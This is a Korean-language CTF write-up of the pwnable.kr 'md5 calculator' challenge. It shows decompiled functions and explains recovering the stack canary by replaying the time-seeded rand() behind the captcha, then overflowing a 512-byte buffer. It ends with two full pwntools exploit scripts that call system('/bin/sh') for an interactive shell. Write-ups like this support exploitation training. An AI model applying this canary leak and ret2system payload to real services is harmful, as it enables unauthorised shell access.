[pwnable.kr]md5 calculator
seed로 현재시간 줘서 my_hash
함수에서 captcha를 생성해준다. 그리고 captcha 검사하고 process_hash
함수에서 입력한 값을 base64 decode 해주고 md5 hashing 해준다.
int __cdecl main(int argc, const char **argv, const char **envp)
{
unsigned int v3; // eax
int v5; // [esp+18h] [ebp-8h]
int v6; // [esp+1Ch] [ebp-4h]
setvbuf(stdout, 0, 1, 0);
setvbuf(stdin, 0, 1, 0);
puts("- Welcome to the free MD5 calculating service -");
v3 = time(0);
srand(v3);
v6 = my_hash();
printf("Are you human? input captcha : %d\n", v6);
__isoc99_scanf("%d", &v5);
if ( v6 != v5 )
{
puts("wrong captcha!");
exit(0);
}
puts("Welcome! you are authenticated.");
puts("Encode your data with BASE64 then paste me!");
process_hash();
puts("Thank you for using our service.");
system("echo `date` >> log");
return 0;
}
my_hash
에서 자세히 봐야할건 captcha 값을 만드늗네 canary값도 포함되 있다. 근데 srand에 들어가는 seed를 아니까 Canary를 구할 수 있다.
int my_hash()
{
signed int i; // [esp+0h] [ebp-38h]
char v2[4]; // [esp+Ch] [ebp-2Ch]
int v3; // [esp+10h] [ebp-28h]
int v4; // [esp+14h] [ebp-24h]
int v5; // [esp+18h] [ebp-20h]
int v6; // [esp+1Ch] [ebp-1Ch]
int v7; // [esp+20h] [ebp-18h]
int v8; // [esp+24h] [ebp-14h]
int v9; // [esp+28h] [ebp-10h]
unsigned int canary; // [esp+2Ch] [ebp-Ch]
canary = __readgsdword(0x14u);
for ( i = 0; i <= 7; ++i )
*&v2[4 * i] = rand();
return v6 - v8 + v9 + canary + v4 - v5 + v3 + v7;
}
process_hash
함수에서는 1024만큼 입력받는데 버퍼가 512바이트라 eip를 변조할 수 있다.
unsigned int process_hash()
{
int length; // ST14_4
char *ptr; // ST18_4
char v3; // [esp+1Ch] [ebp-20Ch]
unsigned int v4; // [esp+21Ch] [ebp-Ch]
v4 = __readgsdword(0x14u);
memset(&v3, 0, 0x200u);
while ( getchar() != 10 )
;
memset(g_buf, 0, sizeof(g_buf));
fgets(g_buf, 1024, stdin);
memset(&v3, 0, 512u);
length = Base64Decode(g_buf, &v3);
ptr = calc_md5(&v3, length);
printf("MD5(data) : %s\n", ptr);
free(ptr);
return __readgsdword(0x14u) ^ v4;
}
my_hash
함수를 통해서 Canary 값을 얻을 수 있고 process_hash
함수에서 eip변조할 수 있다. 근데 system@plt도 존재하니까 쉽게 익스할 수 있다.
exploit.py
from pwn import *
from ctypes import *
context.arch = 'i386'
#context.log_level = 'debug'
e = ELF('./hash')
p = process('./hash')
#p = remote('pwnable.kr',9002)
lib = CDLL('libc.so.6')
libc = e.libc
pebx = 0x0804880c # pop ebx ; ret
g_buf = 0x0804B0E0 + 0x2d0
p.recvuntil(': ')
captcha = int(p.recvline()[:-1])
log.info('captcha : ' + str(captcha))
lib.srand(lib.time(0))
hashs = [lib.rand() for i in range(8)]
s = hashs[4] - hashs[6] + hashs[7] + hashs[2] - hashs[3] + hashs[1] + hashs[5]
log.info('sum : ' + str(s))
canary = captcha - s
if canary < 0:
canary = canary & 0xFFFFFFFF
log.info('Canary : ' + hex(canary))
p.sendline(str(captcha))
payload = 'A'*512
payload += p32(canary)
payload += 'A'*12
payload += p32(e.plt['system'])
payload += p32(pebx)
payload += p32(g_buf)
p.sendlineafter('me!\n',payload.encode('base64').replace('\n','') + '/bin/sh\x00')
p.interactive()
아무 문제 ssh 들어가서 pwnable.kr 서버의 로컬에서 땄다.
exploit.py
from pwn import *
from ctypes import *
#context.arch = 'i386'
#context.log_level = 'debug'
p = remote('127.0.0.1',9002)
lib = CDLL('libc.so.6')
pebx = 0x0804880c # pop ebx ; ret
g_buf = 0x0804B0E0 + 0x2d0
p.recvuntil(': ')
captcha = int(p.recvline()[:-1])
log.info('captcha : ' + str(captcha))
lib.srand(lib.time(0))
hashs = [lib.rand() for i in range(8)]
s = hashs[4] - hashs[6] + hashs[7] + hashs[2] - hashs[3] + hashs[1] + hashs[5]
log.info('sum : ' + str(s))
canary = captcha - s
if canary < 0:
canary = canary & 0xFFFFFFFF
log.info('Canary : ' + hex(canary))
p.sendline(str(captcha))
payload = 'A'*512
payload += p32(canary)
payload += 'A'*12
payload += p32(0x08048880)
payload += p32(pebx)
payload += p32(g_buf)
p.sendlineafter('me!\n',payload.encode('base64').replace('\n','') + '/bin/sh\x00')
p.interactive()